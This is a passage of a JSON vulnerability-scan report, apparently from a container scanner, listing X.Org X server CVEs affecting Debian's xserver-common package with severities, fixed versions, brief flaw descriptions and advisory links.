"https://lists.x.org/archives/xorg-announce/2023-October/003430.html", "https://nvd.nist.gov/vuln/detail/CVE-2023-5574", "https://security.netapp.com/advisory/ntap-20231130-0004/", "https://www.cve.org/CVERecord?id=CVE-2023-5574" ], "PublishedDate": "2023-10-25T20:15:18.717Z", "LastModifiedDate": "2026-11-04T21:17:25.273Z" }, { "VulnerabilityID": "CVE-2026-33999", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u12", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33999", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:de8056ded9290610546dea58347d6210c43ea2b674a81748e5bcd7953dbdd6a2", "Title": "xorg: xwayland: X.Org X server: Denial of Service via integer underflow in XKB compatibility map handling", "Description": "A flaw was found in the X.Org X server. This integer underflow vulnerability, specifically in the XKB compatibility map handling, allows an attacker with local or remote X11 server access to trigger a buffer read overrun. This can lead to memory-safety violations and potentially a denial of service (DoS) or other severe impacts.", "Severity": "HIGH", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10739", "https://access.redhat.com/errata/RHSA-2026:11352", "https://access.redhat.com/errata/RHSA-2026:11369", "https://access.redhat.com/errata/RHSA-2026:11388", "https://access.redhat.com/errata/RHSA-2026:11656", "https://access.redhat.com/errata/RHSA-2026:11692", "https://access.redhat.com/errata/RHSA-2026:13414", "https://access.redhat.com/errata/RHSA-2026:19125", "https://access.redhat.com/errata/RHSA-2026:19342", "https://access.redhat.com/errata/RHSA-2026:19343", "https://access.redhat.com/errata/RHSA-2026:19344", "https://access.redhat.com/errata/RHSA-2026:20547", "https://access.redhat.com/errata/RHSA-2026:20555", "https://access.redhat.com/errata/RHSA-2026:20557", "https://access.redhat.com/errata/RHSA-2026:20558", "https://access.redhat.com/errata/RHSA-2026:20560", "https://access.redhat.com/errata/RHSA-2026:20561", "https://access.redhat.com/errata/RHSA-2026:20562", "https://access.redhat.com/errata/RHSA-2026:20563", "https://access.redhat.com/errata/RHSA-2026:20575", "https://access.redhat.com/errata/RHSA-2026:20576", "https://access.redhat.com/errata/RHSA-2026:20590", "https://access.redhat.com/errata/RHSA-2026:21699", "https://access.redhat.com/errata/RHSA-2026:21712", "https://access.redhat.com/errata/RHSA-2026:21715", "https://access.redhat.com/errata/RHSA-2026:21716", "https://access.redhat.com/errata/RHSA-2026:21718", "https://access.redhat.com/errata/RHSA-2026:21741", "https://access.redhat.com/errata/RHSA-2026:21742", "https://access.redhat.com/errata/RHSA-2026:22424", "https://access.redhat.com/errata/RHSA-2026:22456", "https://access.redhat.com/errata/RHSA-2026:23254", "https://access.redhat.com/errata/RHSA-2026:23255", "https://access.redhat.com/errata/RHSA-2026:23496", "https://access.redhat.com/errata/RHSA-2026:24341", "https://access.redhat.com/security/cve/CVE-2026-33999", "https://bugzilla.redhat.com/2451106", "https://bugzilla.redhat.com/2451109", "https://bugzilla.redhat.com/2451113", "https://bugzilla.redhat.com/show_bug.cgi?id=2451106", "https://bugzilla.redhat.com/show_bug.cgi?id=2451109", "https://bugzilla.redhat.com/show_bug.cgi?id=2451113", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34001", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34003", "https://errata.almalinux.org/9/ALSA-2026-19344.html", "https://errata.rockylinux.org/RLSA-2026:19344", "https://linux.oracle.com/cve/CVE-2026-33999.html", "https://linux.oracle.com/errata/ELSA-2026-22456.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33999", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33999.json", "https://www.cve.org/CVERecord?id=CVE-2026-33999" ], "PublishedDate": "2026-04-23T16:16:24.623Z", "LastModifiedDate": "2026-11-04T23:17:29.05Z" }, { "VulnerabilityID": "CVE-2026-34001", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u12", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-34001", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b42ca742ca8699cd81df9b4d0b4b2440e8efc3236cfcf23449c89c0132da7b40", "Title": "xorg: xwayland: X.Org X server: Use-after-free vulnerability leads to server crash and potential memory corruption", "Description": "A flaw was found in the X.Org X server. This use-after-free vulnerability occurs in the XSYNC fence triggering logic, specifically within the miSyncTriggerFence() function. An attacker with access to the X11 server can exploit this without user interaction, leading to a server crash and potentially enabling memory corruption. This could result in a denial of service or further compromise of the system.", "Severity": "HIGH", "CweIDs": [ "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10739", "https://access.redhat.com/errata/RHSA-2026:11352", "https://access.redhat.com/errata/RHSA-2026:11369", "https://access.redhat.com/errata/RHSA-2026:11388", "https://access.redhat.com/errata/RHSA-2026:11656", "https://access.redhat.com/errata/RHSA-2026:11692", "https://access.redhat.com/errata/RHSA-2026:13414", "https://access.redhat.com/errata/RHSA-2026:19125", "https://access.redhat.com/errata/RHSA-2026:19342", "https://access.redhat.com/errata/RHSA-2026:19343", "https://access.redhat.com/errata/RHSA-2026:19344", "https://access.redhat.com/errata/RHSA-2026:20547", "https://access.redhat.com/errata/RHSA-2026:20555", "https://access.redhat.com/errata/RHSA-2026:20557", "https://access.redhat.com/errata/RHSA-2026:20558", "https://access.redhat.com/errata/RHSA-2026:20560", "https://access.redhat.com/errata/RHSA-2026:20561", "https://access.redhat.com/errata/RHSA-2026:20562", "https://access.redhat.com/errata/RHSA-2026:20563", "https://access.redhat.com/errata/RHSA-2026:20575", "https://access.redhat.com/errata/RHSA-2026:20576", "https://access.redhat.com/errata/RHSA-2026:20590", "https://access.redhat.com/errata/RHSA-2026:21699", "https://access.redhat.com/errata/RHSA-2026:21712", "https://access.redhat.com/errata/RHSA-2026:21715", "https://access.redhat.com/errata/RHSA-2026:21716", "https://access.redhat.com/errata/RHSA-2026:21718", "https://access.redhat.com/errata/RHSA-2026:21741", "https://access.redhat.com/errata/RHSA-2026:21742", "https://access.redhat.com/errata/RHSA-2026:22424", "https://access.redhat.com/errata/RHSA-2026:22456", "https://access.redhat.com/errata/RHSA-2026:23254", "https://access.redhat.com/errata/RHSA-2026:23255", "https://access.redhat.com/errata/RHSA-2026:23496", "https://access.redhat.com/errata/RHSA-2026:24341", "https://access.redhat.com/security/cve/CVE-2026-34001", "https://bugzilla.redhat.com/2451106", "https://bugzilla.redhat.com/2451109", "https://bugzilla.redhat.com/2451113", "https://bugzilla.redhat.com/show_bug.cgi?id=2451106", "https://bugzilla.redhat.com/show_bug.cgi?id=2451109", "https://bugzilla.redhat.com/show_bug.cgi?id=2451113", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34001", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34003", "https://errata.almalinux.org/9/ALSA-2026-19344.html", "https://errata.rockylinux.org/RLSA-2026:19344", "https://linux.oracle.com/cve/CVE-2026-34001.html", "https://linux.oracle.com/errata/ELSA-2026-22456.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-34001", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34001.json", "https://www.cve.org/CVERecord?id=CVE-2026-34001" ], "PublishedDate": "2026-04-23T16:16:24.777Z", "LastModifiedDate": "2026-11-04T23:17:30.01Z" }, { "VulnerabilityID": "CVE-2026-34003", "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u12", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-34003", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7b179a4b7854d973b14f25da16b79ea4df1f4861fae0816cbd39570fc0017c74", "Title": "xorg: xwayland: X.Org X server: Information exposure and denial of service via out-of-bounds memory access", "Description": "A flaw was found in the X.Org X server's XKB key types request validation. A local attacker could send a specially crafted request to the X server, leading to an out-of-bounds memory access vulnerability. This could result in the disclosure of sensitive information or cause the server to crash, leading to a Denial of Service (DoS). In certain configurations, higher impact outcomes may be possible.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:10739", "https://access.redhat.com/errata/RHSA-2026:11352", "https://access.redhat.com/errata/RHSA-2026:11369", "https://access.redhat.com/errata/RHSA-2026:11388", "https://access.redhat.com/errata/RHSA-2026:11656", "https://access.redhat.com/errata/RHSA-2026:11692", "https://access.redhat.com/errata/RHSA-2026:13414", "https://access.redhat.com/errata/RHSA-2026:19125", "https://access.redhat.com/errata/RHSA-2026:19342", "https://access.redhat.com/errata/RHSA-2026:19343", "https://access.redhat.com/errata/RHSA-2026:19344", "https://access.redhat.com/errata/RHSA-2026:20547", "https://access.redhat.com/errata/RHSA-2026:20555", "https://access.redhat.com/errata/RHSA-2026:20557", "https://access.redhat.com/errata/RHSA-2026:20558", "https://access.redhat.com/errata/RHSA-2026:20560", "https://access.redhat.com/errata/RHSA-2026:20561", "https://access.redhat.com/errata/RHSA-2026:20562", "https://access.redhat.com/errata/RHSA-2026:20563", "https://access.redhat.com/errata/RHSA-2026:20575", "https://access.redhat.com/errata/RHSA-2026:20576", "https://access.redhat.com/errata/RHSA-2026:20590", "https://access.redhat.com/errata/RHSA-2026:21699", "https://access.redhat.com/errata/RHSA-2026:21712", "https://access.redhat.com/errata/RHSA-2026:21715", "https://access.redhat.com/errata/RHSA-2026:21716", "https://access.redhat.com/errata/RHSA-2026:21718", "https://access.redhat.com/errata/RHSA-2026:21741", "https://access.redhat.com/errata/RHSA-2026:21742", "https://access.redhat.com/errata/RHSA-2026:22424", "https://access.redhat.com/errata/RHSA-2026:22456", "https://access.redhat.com/errata/RHSA-2026:23254", "https://access.redhat.com/errata/RHSA-2026:23255", "https://access.redhat.com/errata/RHSA-2026:23496", "https://access.redhat.com/errata/RHSA-2026:24341", "https://access.redhat.com/security/cve/CVE-2026-34003", "https://bugzilla.redhat.com/2451106", "https://bugzilla.redhat.com/2451109", "https://bugzilla.redhat.com/2451113", "https://bugzilla.redhat.com/show_bug.cgi?id=2451106", "https://bugzilla.redhat.com/show_bug.cgi?id=2451109", "https://bugzilla.redhat.com/show_bug.cgi?id=2451113", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33999", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34001", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-34003", "https://errata.almalinux.org/9/ALSA-2026-19344.html", "https://errata.rockylinux.org/RLSA-2026:19344", "https://linux.oracle.com/cve/CVE-2026-34003.html", "https://linux.oracle.com/errata/ELSA-2026-22456.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-34003", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34003.json", "https://www.cve.org/CVERecord?id=CVE-2026-34003" ], "PublishedDate": "2026-04-23T16:16:24.92Z", "LastModifiedDate": "2026-11-04T23:17:30.747Z" }, { "VulnerabilityID": "CVE-2026-50256", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50256", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:740c3610aae1df723b0e44de135ae91d93f0a31352f41a395c433ff96f00e3cf", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: stack buffer overflow in font alias resolution due to libXfont2 name length mismatch", "Description": "A stack-based buffer overflow flaw was found in the X.Org X server and Xwayland. A mismatch between the X server and the libXfont2 library's maximum font name length can cause a stack buffer overflow during font alias resolution. The server allocates a 256 byte stack buffer but libXfont2's alias target name length is 1024 bytes. A font alias name between 257 and 1023 bytes causes the X server to copy that name into the undersized stack buffer without further checks. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50256", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/bb5158f962dc935e58ef8b4b5fcb31be201a6e07", "https://linux.oracle.com/cve/CVE-2026-50256.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50256", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50256.json", "https://www.cve.org/CVERecord?id=CVE-2026-50256" ], "PublishedDate": "2026-06-05T12:16:38.727Z", "LastModifiedDate": "2026-11-04T23:17:40.317Z" }, { "VulnerabilityID": "CVE-2026-50257", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50257", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a051543c8db5d71348bcde28d747704e36749228b4c6420c7f614767f7e4b06e", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: use-after-free in miSyncDestroyFence()", "Description": "A use-after-free flaw was found in the X.Org X server and Xwayland in miSyncDestroyFence(). A client that sets up multiple fence triggers can trigger a use-after-free function pointer call. An attacker would connect to the X server to set up a fence and await that fence, then a second X connection destroys the fence, causing the use-after-free. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50257", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/f5abfb61994471023d8c6470428c8e30c411cc0b", "https://linux.oracle.com/cve/CVE-2026-50257.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", "https://lists.x.org/archives/xorg-announce/2026-June/003702.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-50257", "https://redhat.atlassian.net/browse/PSIRTSUPT-16950", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-50257.json", "https://www.cve.org/CVERecord?id=CVE-2026-50257" ], "PublishedDate": "2026-06-05T12:16:38.907Z", "LastModifiedDate": "2026-11-04T23:17:41.097Z" }, { "VulnerabilityID": "CVE-2026-50258", "VendorIDs": [ "DLA-4737-1" ], "PkgID": "xserver-common@2:21.1.7-3+deb12u11", "PkgName": "xserver-common", "PkgIdentifier": { "PURL": "pkg:deb/debian/xserver-common@21.1.7-3%2Bdeb12u11?arch=all\u0026distro=debian-12.13\u0026epoch=2", "UID": "982058c559c87ec1" }, "InstalledVersion": "2:21.1.7-3+deb12u11", "FixedVersion": "2:21.1.7-3+deb12u13", "Status": "fixed", "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-50258", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:27774bd7baab37c3abf0c6163a210524e7bf2be7425c73c5085fde013b22e9e2", "Title": "xorg-x11-server: xorg-x11-server-Xwayland: xorg-x11-server: stack buffer overflow in XKB key types due to unchecked shift levels", "Description": "A stack-based buffer overflow flaw was found in the X.Org X server and Xwayland. The X server has multiple stack buffers sized XkbMaxShiftLevel * XkbNumKbdGroups but CheckKeyTypes() does not verify or clamp non-canonical key types to XkbMaxShiftLevel. A client can change key types to excessive shift levels and trigger stack overflows. This is caused by an incomplete fix of CVE-2025-26597. This may be used to crash the server, or for privilege escalation if the X server runs as root.", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:26562", "https://access.redhat.com/errata/RHSA-2026:26566", "https://access.redhat.com/errata/RHSA-2026:26590", "https://access.redhat.com/errata/RHSA-2026:26610", "https://access.redhat.com/errata/RHSA-2026:26709", "https://access.redhat.com/errata/RHSA-2026:28923", "https://access.redhat.com/errata/RHSA-2026:29844", "https://access.redhat.com/errata/RHSA-2026:36083", "https://access.redhat.com/errata/RHSA-2026:36085", "https://access.redhat.com/errata/RHSA-2026:36086", "https://access.redhat.com/errata/RHSA-2026:36087", "https://access.redhat.com/errata/RHSA-2026:36632", "https://access.redhat.com/errata/RHSA-2026:36633", "https://access.redhat.com/errata/RHSA-2026:36634", "https://access.redhat.com/errata/RHSA-2026:36768", "https://access.redhat.com/errata/RHSA-2026:36791", "https://access.redhat.com/errata/RHSA-2026:36792", "https://access.redhat.com/errata/RHSA-2026:36798", "https://access.redhat.com/errata/RHSA-2026:38502", "https://access.redhat.com/errata/RHSA-2026:38810", "https://access.redhat.com/errata/RHSA-2026:46377", "https://access.redhat.com/errata/RHSA-2026:46382", "https://access.redhat.com/errata/RHSA-2026:46385", "https://access.redhat.com/errata/RHSA-2026:46392", "https://access.redhat.com/errata/RHSA-2026:46456", "https://access.redhat.com/errata/RHSA-2026:46460", "https://access.redhat.com/errata/RHSA-2026:46473", "https://access.redhat.com/errata/RHSA-2026:49519", "https://access.redhat.com/security/cve/CVE-2026-50258", "https://bugzilla.redhat.com/2485380", "https://bugzilla.redhat.com/2485382", "https://bugzilla.redhat.com/2485383", "https://bugzilla.redhat.com/2485384", "https://bugzilla.redhat.com/2485385", "https://bugzilla.redhat.com/2485386", "https://bugzilla.redhat.com/2485387", "https://bugzilla.redhat.com/2485388", "https://bugzilla.redhat.com/2485389", "https://bugzilla.redhat.com/show_bug.cgi?id=2485380", "https://bugzilla.redhat.com/show_bug.cgi?id=2485382", "https://bugzilla.redhat.com/show_bug.cgi?id=2485383", "https://bugzilla.redhat.com/show_bug.cgi?id=2485384", "https://bugzilla.redhat.com/show_bug.cgi?id=2485385", "https://bugzilla.redhat.com/show_bug.cgi?id=2485386", "https://bugzilla.redhat.com/show_bug.cgi?id=2485387", "https://bugzilla.redhat.com/show_bug.cgi?id=2485388", "https://bugzilla.redhat.com/show_bug.cgi?id=2485389", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50258", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50259", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50261", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50263", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-50264", "https://errata.almalinux.org/9/ALSA-2026-29844.html", "https://errata.rockylinux.org/RLSA-2026:29844", "https://gitlab.freedesktop.org/xorg/xserver/-/commit/543e108516428fc8c3bea91d6563ad266f9a801e", "https://linux.oracle.com/cve/CVE-2026-50258.html", "https://linux.oracle.com/errata/ELSA-2026-36083.html", 